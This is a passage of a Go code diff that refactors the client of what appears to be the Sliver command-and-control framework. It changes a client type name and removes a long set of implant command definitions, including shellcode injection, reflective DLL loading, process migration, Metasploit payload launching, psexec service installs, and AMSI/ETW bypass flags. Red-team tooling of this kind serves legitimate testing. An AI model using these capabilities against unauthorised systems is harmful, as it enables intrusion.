@@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder -func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder. +func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { shellcodeFile := args[0] rawShellcode, err := ioutil.ReadFile(shellcodeFile) if err != nil { @@ -59,7 +59,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" { diff --git a/client/command/sliver.go b/client/command/sliver.go index e6a48235d0..bb362fe267 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -20,25 +20,23 @@ package command import ( "github.com/reeflective/console" - "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/spf13/pflag" "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/backdoor" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/cursed" "github.com/bishopfox/sliver/client/command/dllhijack" "github.com/bishopfox/sliver/client/command/environment" "github.com/bishopfox/sliver/client/command/exec" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/filesystem" - "github.com/bishopfox/sliver/client/command/generate" - "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/history" "github.com/bishopfox/sliver/client/command/info" "github.com/bishopfox/sliver/client/command/kill" + "github.com/bishopfox/sliver/client/command/msf" "github.com/bishopfox/sliver/client/command/network" + "github.com/bishopfox/sliver/client/command/pipe" "github.com/bishopfox/sliver/client/command/pivots" "github.com/bishopfox/sliver/client/command/portfwd" "github.com/bishopfox/sliver/client/command/privilege" @@ -51,7 +49,8 @@ import ( "github.com/bishopfox/sliver/client/command/shell" "github.com/bishopfox/sliver/client/command/socks" "github.com/bishopfox/sliver/client/command/tasks" - "github.com/bishopfox/sliver/client/command/use" + "github.com/bishopfox/sliver/client/command/tcp" + "github.com/bishopfox/sliver/client/command/transports" "github.com/bishopfox/sliver/client/command/wasm" "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" @@ -59,1949 +58,123 @@ import ( ) // SliverCommands returns all commands bound to the implant menu. -func SliverCommands(con *client.SliverConsoleClient) console.Commands { +func SliverCommands(con *client.SliverClient) console.Commands { sliverCommands := func() *cobra.Command { sliver := &cobra.Command{ - Short: "Implant commands", + Short: "Implant commands", + TraverseChildren: true, + SilenceUsage: true, CompletionOptions: cobra.CompletionOptions{ HiddenDefaultCmd: true, }, } - groups := []*cobra.Group{ - {ID: consts.SliverCoreHelpGroup, Title: consts.SliverCoreHelpGroup}, - {ID: consts.InfoHelpGroup, Title: consts.InfoHelpGroup}, - {ID: consts.FilesystemHelpGroup, Title: consts.FilesystemHelpGroup}, - {ID: consts.NetworkHelpGroup, Title: consts.NetworkHelpGroup}, - {ID: consts.ExecutionHelpGroup, Title: consts.ExecutionHelpGroup}, - {ID: consts.PrivilegesHelpGroup, Title: consts.PrivilegesHelpGroup}, - {ID: consts.ProcessHelpGroup, Title: consts.ProcessHelpGroup}, - {ID: consts.AliasHelpGroup, Title: consts.AliasHelpGroup}, - {ID: consts.ExtensionHelpGroup, Title: consts.ExtensionHelpGroup}, - } - sliver.AddGroup(groups...) - - // Load Aliases - aliasManifests := assets.GetInstalledAliasManifests() - for _, manifest := range aliasManifests { - _, err := alias.LoadAlias(manifest, sliver, con) - if err != nil { - con.PrintErrorf("Failed to load alias: %s", err) - continue - } - } - - // Load Extensions - extensionManifests := assets.GetInstalledExtensionManifests() - for _, manifest := range extensionManifests { - ext, err := extensions.LoadExtensionManifest(manifest) - // Absorb error in case there's no extensions manifest - if err != nil { - con.PrintErrorf("Failed to load extension: %s", err) - continue - } - extensions.ExtensionRegisterCommand(ext, sliver, con) - } - - // [ Reconfig ] --------------------------------------------------------------- - - reconfigCmd := &cobra.Command{ - Use: consts.ReconfigStr, - Short: "Reconfigure the active beacon/session", - Long: help.GetHelpFor([]string{consts.ReconfigStr}), - Run: func(cmd *cobra.Command, args []string) { - reconfig.ReconfigCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - sliver.AddCommand(reconfigCmd) - Flags("reconfig", false, reconfigCmd, func(f *pflag.FlagSet) { - f.StringP("reconnect-interval", "r", "", "reconnect interval for implant") - f.StringP("beacon-interval", "i", "", "beacon callback interval") - f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - renameCmd := &cobra.Command{ - Use: consts.RenameStr, - Short: "Rename the active beacon/session", - Long: help.GetHelpFor([]string{consts.RenameStr}), - Run: func(cmd *cobra.Command, args []string) { - reconfig.RenameCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(renameCmd) - Flags("rename", false, renameCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "change implant name to") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Sessions ] -------------------------------------------------------------- - - sessionsCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Session management", - Long: help.GetHelpFor([]string{consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { - f.StringP("interact", "i", "", "interact with a session") - f.StringP("kill", "k", "", "kill the designated session") - f.BoolP("kill-all", "K", false, "kill all the sessions") - f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") - f.BoolP("force", "F", false, "force session action without waiting for results") - - f.StringP("filter", "f", "", "filter sessions by substring") - f.StringP("filter-re", "e", "", "filter sessions by regular expression") - }) - FlagComps(sessionsCmd, func(comp *carapace.ActionMap) { - (*comp)["interact"] = use.BeaconAndSessionIDCompleter(con) - (*comp)["kill"] = use.BeaconAndSessionIDCompleter(con) - }) - sliver.AddCommand(sessionsCmd) - - sessionsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Kill all stale/dead sessions", - Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsPruneCmd(cmd, con, args) - }, - } - Flags("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") - }) - sessionsCmd.AddCommand(sessionsPruneCmd) - - backgroundCmd := &cobra.Command{ - Use: consts.BackgroundStr, - Short: "Background an active session", - Long: help.GetHelpFor([]string{consts.BackgroundStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.BackgroundCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("use", false, backgroundCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(backgroundCmd) - - killCmd := &cobra.Command{ - Use: consts.KillStr, - Short: "Kill a session", - Long: help.GetHelpFor([]string{consts.KillStr}), - Run: func(cmd *cobra.Command, args []string) { - kill.KillCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(killCmd) - Flags("use", false, backgroundCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force kill, does not clean up") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - openSessionCmd := &cobra.Command{ - Use: consts.InteractiveStr, - Short: "Task a beacon to open an interactive session (Beacon only)", - Long: help.GetHelpFor([]string{consts.InteractiveStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.InteractiveCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - sliver.AddCommand(openSessionCmd) - Flags("interactive", false, openSessionCmd, func(f *pflag.FlagSet) { - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "namedpipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcppivot connection strings") - - f.StringP("delay", "d", "0s", "delay opening the session (after checkin) for a given period of time") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Use ] -------------------------------------------------------------- + // Utility function to be used for binding new commands to + // the sliver menu: call the function with the name of the + // group under which this/these commands should be added, + // and the group will be automatically created if needed. + bind := makeBind(sliver, con) - useCmd := &cobra.Command{ - Use: consts.UseStr, - Short: "Switch the active session or beacon", - Long: help.GetHelpFor([]string{consts.UseStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("use", true, useCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(useCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - - if !con.IsCLI { - sliver.AddCommand(useCmd) - } - - useSessionCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Switch the active session", - Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseSessionCmd(cmd, con, args) - }, - } - carapace.Gen(useSessionCmd).PositionalCompletion(use.SessionIDCompleter(con)) - useCmd.AddCommand(useSessionCmd) - - useBeaconCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Switch the active beacon", - Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseBeaconCmd(cmd, con, args) - }, - } - carapace.Gen(useBeaconCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - useCmd.AddCommand(useBeaconCmd) - - // [ Close ] -------------------------------------------------------------- - closeSessionCmd := &cobra.Command{ - Use: consts.CloseStr, - Short: "Close an interactive session without killing the remote process", - Long: help.GetHelpFor([]string{consts.CloseStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.CloseSessionCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(closeSessionCmd) - Flags("", false, closeSessionCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Tasks ] -------------------------------------------------------------- - - tasksCmd := &cobra.Command{ - Use: consts.TasksStr, - Short: "Beacon task management", - Long: help.GetHelpFor([]string{consts.TasksStr}), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - Flags("tasks", true, tasksCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") - f.IntP("skip-pages", "S", 0, "skip the first n page(s)") - f.StringP("filter", "f", "", "filter based on task type (case-insensitive prefix matching)") - }) - sliver.AddCommand(tasksCmd) - - fetchCmd := &cobra.Command{ - Use: consts.FetchStr, - Short: "Fetch the details of a beacon task", - Long: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksFetchCmd(cmd, con, args) - }, - } - tasksCmd.AddCommand(fetchCmd) - carapace.Gen(fetchCmd).PositionalCompletion(tasks.BeaconTaskIDCompleter(con).Usage("beacon task ID")) - - cancelCmd := &cobra.Command{ - Use: consts.CancelStr, - Short: "Cancel a pending beacon task", - Long: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksCancelCmd(cmd, con, args) - }, - } - tasksCmd.AddCommand(cancelCmd) - carapace.Gen(cancelCmd).PositionalCompletion(tasks.BeaconPendingTasksCompleter(con).Usage("beacon task ID")) - - // [ Info ] -------------------------------------------------------------- - - infoCmd := &cobra.Command{ - Use: consts.InfoStr, - Short: "Get info about session", - Long: help.GetHelpFor([]string{consts.InfoStr}), - Run: func(cmd *cobra.Command, args []string) { - info.InfoCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - Flags("use", false, infoCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - sliver.AddCommand(infoCmd) - - pingCmd := &cobra.Command{ - Use: consts.PingStr, - Short: "Send round trip message to implant (does not use ICMP)", - Long: help.GetHelpFor([]string{consts.PingStr}), - Run: func(cmd *cobra.Command, args []string) { - info.PingCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(pingCmd) - Flags("", false, pingCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getPIDCmd := &cobra.Command{ - Use: consts.GetPIDStr, - Short: "Get session pid", - Long: help.GetHelpFor([]string{consts.GetPIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.PIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getPIDCmd) - Flags("", false, getPIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getUIDCmd := &cobra.Command{ - Use: consts.GetUIDStr, - Short: "Get session process UID", - Long: help.GetHelpFor([]string{consts.GetUIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.UIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getUIDCmd) - Flags("", false, getUIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getGIDCmd := &cobra.Command{ - Use: consts.GetGIDStr, - Short: "Get session process GID", - Long: help.GetHelpFor([]string{consts.GetGIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.GIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getGIDCmd) - Flags("", false, getGIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - whoamiCmd := &cobra.Command{ - Use: consts.WhoamiStr, - Short: "Get session user execution context", - Long: help.GetHelpFor([]string{consts.WhoamiStr}), - Run: func(cmd *cobra.Command, args []string) { - info.WhoamiCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(whoamiCmd) - Flags("", false, whoamiCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Shell ] -------------------------------------------------------------- - - shellCmd := &cobra.Command{ - Use: consts.ShellStr, - Short: "Start an interactive shell", - Long: help.GetHelpFor([]string{consts.ShellStr}), - Run: func(cmd *cobra.Command, args []string) { - shell.ShellCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.SessionCmdsFilter), - } - sliver.AddCommand(shellCmd) - Flags("", false, shellCmd, func(f *pflag.FlagSet) { - f.BoolP("no-pty", "y", false, "disable use of pty on macos/linux") - f.StringP("shell-path", "s", "", "path to shell interpreter") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Exec ] -------------------------------------------------------------- - - executeCmd := &cobra.Command{ - Use: consts.ExecuteStr, - Short: "Execute a program on the remote system", - Long: help.GetHelpFor([]string{consts.ExecuteStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(executeCmd) - Flags("", false, executeCmd, func(f *pflag.FlagSet) { - f.BoolP("token", "T", false, "execute command with current token (Windows only)") - f.BoolP("output", "o", false, "capture command output") - f.BoolP("save", "s", false, "save output to a file") - f.BoolP("loot", "X", false, "save output as loot") - f.BoolP("ignore-stderr", "S", false, "don't print STDERR output") - f.StringP("stdout", "O", "", "remote path to redirect STDOUT to") - f.StringP("stderr", "E", "", "remote path to redirect STDERR to") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)") - f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)")) - carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)")) - - executeAssemblyCmd := &cobra.Command{ - Use: consts.ExecuteAssemblyStr, - Short: "Loads and executes a .NET assembly in a child process (Windows Only)", - Long: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteAssemblyCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(executeAssemblyCmd) - Flags("", false, executeAssemblyCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", "notepad.exe", "hosting process to inject into") - f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)") - f.StringP("class", "c", "", "Optional class name (required for .NET DLL)") - f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") - f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") - f.BoolP("in-process", "i", false, "Run in the current sliver process") - f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.Uint32P("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)") - f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)")) - carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)")) - - executeShellcodeCmd := &cobra.Command{ - Use: consts.ExecuteShellcodeStr, - Short: "Executes the given shellcode in the sliver process", - Long: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteShellcodeCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(executeShellcodeCmd) - Flags("", false, executeShellcodeCmd, func(f *pflag.FlagSet) { - f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages") - f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)") - f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode") - f.BoolP("interactive", "i", false, "Inject into a new process and interact with it") - f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution") - f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)") - f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(executeShellcodeCmd, func(comp *carapace.ActionMap) { - (*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") - }) - carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)")) - - sideloadCmd := &cobra.Command{ - Use: consts.SideloadStr, - Short: "Load and execute a shared object (shared library/DLL) in a remote process", - Long: help.GetHelpFor([]string{consts.SideloadStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SideloadCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(sideloadCmd) - Flags("", false, sideloadCmd, func(f *pflag.FlagSet) { - f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)") - f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") - f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") - f.Uint32P("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)")) - carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)")) - - spawnDllCmd := &cobra.Command{ - Use: consts.SpawnDllStr, - Short: "Load and execute a Reflective DLL in a remote process", - Long: help.GetHelpFor([]string{consts.SpawnDllStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SpawnDllCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(spawnDllCmd) - Flags("", false, spawnDllCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") - f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") - f.UintP("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)")) - carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)")) - - migrateCmd := &cobra.Command{ - Use: consts.MigrateStr, - Short: "Migrate into a remote process", - Long: help.GetHelpFor([]string{consts.MigrateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.MigrateCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(migrateCmd) - Flags("", false, migrateCmd, func(f *pflag.FlagSet) { - f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder") - f.Uint32P("pid", "p", 0, "process id to migrate into") - f.StringP("process-name", "n", "", "name of the process to migrate into") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into")) - - msfCmd := &cobra.Command{ - Use: consts.MsfStr, - Short: "Execute an MSF payload in the current process", - Long: help.GetHelpFor([]string{consts.MsfStr}), - Run: func(cmd *cobra.Command, args []string) { - exec.MsfCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(msfCmd) - Flags("", false, msfCmd, func(f *pflag.FlagSet) { - f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") - f.StringP("lhost", "L", "", "listen host") - f.IntP("lport", "l", 4444, "listen port") - f.StringP("encoder", "e", "", "msf encoder") - f.IntP("iterations", "i", 1, "iterations of the encoder") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - msfInjectCmd := &cobra.Command{ - Use: consts.MsfInjectStr, - Short: "Inject an MSF payload into a process", - Long: help.GetHelpFor([]string{consts.MsfInjectStr}), - Run: func(cmd *cobra.Command, args []string) { - exec.MsfInjectCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(msfInjectCmd) - Flags("", false, msfInjectCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "pid to inject into") - f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") - f.StringP("lhost", "L", "", "listen host") - f.IntP("lport", "l", 4444, "listen port") - f.StringP("encoder", "e", "", "msf encoder") - f.IntP("iterations", "i", 1, "iterations of the encoder") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - psExecCmd := &cobra.Command{ - Use: consts.PsExecStr, - Short: "Start a sliver service on a remote target", - Long: help.GetHelpFor([]string{consts.PsExecStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.PsExecCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(psExecCmd) - Flags("", false, psExecCmd, func(f *pflag.FlagSet) { - f.StringP("service-name", "s", "Sliver", "name that will be used to register the service") - f.StringP("service-description", "d", "Sliver implant", "description of the service") - f.StringP("profile", "p", "", "profile to use for service binary") - f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded") - f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(psExecCmd, func(comp *carapace.ActionMap) { - (*comp)["custom-exe"] = carapace.ActionFiles() - }) - carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)")) - - sshCmd := &cobra.Command{ - Use: consts.SSHStr, - Short: "Run a SSH command on a remote host", - Long: help.GetHelpFor([]string{consts.SSHStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SSHCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(sshCmd) - Flags("", false, sshCmd, func(f *pflag.FlagSet) { - f.UintP("port", "p", 22, "SSH port") - f.StringP("private-key", "i", "", "path to private key file") - f.StringP("password", "P", "", "SSH user password") - f.StringP("login", "l", "", "username to use to connect") - f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials") - f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file") - f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file") - f.StringP("kerberos-realm", "r", "", "Kerberos realm") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - FlagComps(sshCmd, func(comp *carapace.ActionMap) { - (*comp)["private-key"] = carapace.ActionFiles() - (*comp)["kerberos-keytab"] = carapace.ActionFiles() - }) - - carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)")) - carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments")) - - // [ Extensions ] ----------------------------------------------------------------- - extensionCmd := &cobra.Command{ - Use: consts.ExtensionsStr, - Short: "Manage extensions", - Long: help.GetHelpFor([]string{consts.ExtensionsStr}), - GroupID: consts.ExtensionHelpGroup, - Run: func(cmd *cobra.Command, _ []string) { - extensions.ExtensionsCmd(cmd, con) - }, - } - sliver.AddCommand(extensionCmd) - - extensionCmd.AddCommand(&cobra.Command{ - Use: consts.ListStr, - Short: "List extensions loaded in the current session or beacon", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionsListCmd(cmd, con, args) - }, - }) - - extensionLoadCmd := &cobra.Command{ - Use: consts.LoadStr, - Short: "Temporarily load an extension from a local directory", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionLoadCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionLoadCmd) - carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory")) - - extensionInstallCmd := &cobra.Command{ - Use: consts.InstallStr, - Short: "Install an extension from a local directory or .tar.gz file", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: 